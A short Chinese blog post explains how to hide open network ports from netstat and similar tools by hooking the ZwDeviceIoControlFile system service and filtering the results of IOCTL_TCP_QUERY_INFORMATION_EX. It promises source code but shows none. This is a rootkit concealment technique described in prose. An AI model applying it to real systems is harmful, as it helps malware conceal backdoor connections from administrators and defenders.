Hook 系统服务隐藏端口

　　　　有时候写程序，调试程序真是一件非常有趣的事，就比如这次，蹦蹦跳跳，笑嘻嘻，意犹未尽的就把这个程序搞好了。

  netstat 或者其他各种列举端口的工具，比如fport,或者 sysinternals 的 Tcpview，都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ，向设备对象 Device\Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ，然后对得到的结果做一些处理，弄掉不希望出现的端口信息就可以了。不过真正的问题在于，IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义，参数含义目前都（大部分）是未公开，没人知道的，也就是Undocumented的。Undocumented?? ring3调试，我熟啊。ring0调试，我熟啊。Windows驱动，我熟啊。Windows系统，我熟啊。我怕谁啊我。Undocumented??爽，要的就是Undocumented。

  通过ring3调试，分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数，结合msdn中的一些信息，于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目，写好了Hook部分。

  关于本例中使用的解决Hook在各种Windows版本下运行的方法，在很多地方很多地方都出现了，我不清楚最早是谁想出来的，我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。

  下面是实现源码，很简单，我就不多说什么了。

本文件中的所有内容目前都是未公开的，由我分析得出，是隐藏端口的关键内容。
Undocumented?? 爽!要的就是 Undocumented 。
